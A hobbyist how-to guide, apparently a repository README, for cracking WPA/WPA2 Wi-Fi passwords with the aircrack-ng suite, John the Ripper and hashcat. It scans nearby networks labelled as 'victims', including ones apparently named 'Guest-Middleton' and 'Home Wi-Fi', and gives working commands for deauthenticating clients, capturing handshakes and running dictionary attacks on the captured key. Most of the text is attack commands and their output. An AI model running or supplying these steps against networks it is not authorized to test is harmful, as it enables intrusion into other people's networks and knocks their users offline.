How to haxx0r WPA!!

Introduction

This is a very rough draft explaining the commands I used to crack my first WPA network. I created this file mostly for my benefit as I was learning, but I figured it may save someone else out there someday from having to regrok more manpages. (To the aircrack guys' credit, their manpages are excellently written.) I will publish my full cracking scripts at a later date.

Get card name

Find your Wi-Fi interface name(s) with the following:

$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 fe80::4be1:e520:9605:274c/64 scope link 
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: wlp3s0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000
    link/ether 8c:a9:82:58:ac:68 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::3bff:d4f:a3e7:37f7/64 scope link 
       valid_lft forever preferred_lft forever
3: enp0s25: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
    link/ether f0:de:f1:4e:c6:3c brd ff:ff:ff:ff:ff:ff

Note that the ip command should work on virtually any Linux distro, unlike ifconfig.

Find victim network

I made a horrible Bash abomination simply called scanner (please don't laugh) that produces easier-to-read iwlist output which you can use or not use (I don't care).

$ ./scanner # Find a victim network
          Cell 01 - Address: 70:3A:CB:F0:ED:CD
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=34/70  Signal level=-76 dBm
                    Encryption key:on
                    ESSID:"Middleton"
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
          Cell 02 - Address: 72:3A:CB:F0:ED:CC
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=35/70  Signal level=-75 dBm
                    Encryption key:on
                    ESSID:"Guest-Middleton"
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
          Cell 03 - Address: 70:3A:CB:F0:ED:80
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=24/70  Signal level=-86 dBm
                    Encryption key:on
                    ESSID:"Middleton"
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
          Cell 04 - Address: F8:7B:8C:20:F8:EF
                    Channel:6
                    Frequency:2.437 GHz (Channel 6)
                    Quality=36/70  Signal level=-74 dBm
                    Encryption key:on
                    ESSID:"Home Wi-Fi 2.5Ghz"
                    IE: WPA Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
          Cell 05 - Address: 72:3A:CB:F0:ED:80
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=23/70  Signal level=-87 dBm
                    Encryption key:on
                    ESSID:"Guest-Middleton"
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK

Once a target has been sighted, you can make a little text file for reference:

$ ./scanner Guest-Middleton | tee victim_network-info.txt
          Cell 02 - Address: 72:3A:CB:F0:ED:CC
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=35/70  Signal level=-75 dBm
                    Encryption key:on
                    ESSID:"Guest-Middleton"
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
--
          Cell 05 - Address: 72:3A:CB:F0:ED:80
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=26/70  Signal level=-84 dBm
                    Encryption key:on
                    ESSID:"Guest-Middleton"
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK

If your victim info gets lost in the scrollback you can use cat victim_network-info.txt or less victim_network-info.txt anytime.

Get some handshakes

You may have to get closer to the victim network in order to get a full hanshake. Note the Signal level portion of the iwlist or scanner output.

Note that iwconfig may no longer work in the future, so you may have to set your channel with a different tool.

iwlist [CARD] scan
iwconfig [CARD] channel [CHANNEL_NUM]
aireplay-ng -0 2 -a [BSSID] [CARD]
airodump-ng --output-format pcap -w capshur -c [CHANNEL] [CARD]
wpaclean [OUTFILE] [INFILE(s)]

For the best results, run the aireplay-ng line and the airodump-ng line on separate wireless cards. Run the dump command on the card with the highest gain antenna.

Get crackin'

You now should have your handshake if you did the previous steps right. You now must crack it to uncover the pre-shared key (PSK). You can use a bute-force attack, a dictionary attack, or a hybrid of the two.

Pure Butal

wpapcap2john + JtR
aircrack-ng + hashcat

A Basic Dictionary Attack

aircrack-ng -s -l wctf_05.psk -w super.words -e WCTF_05 superclean.cap
aircrack-ng -s -l [KEY OUTFILE] -w [WORDLIST] -e [ESSID] [CAPFILE]

Hybrid

Read the John and Hashcat manpages for more info on how to carry out their respective hybrid attacks.

swolegoal / wifi-helpers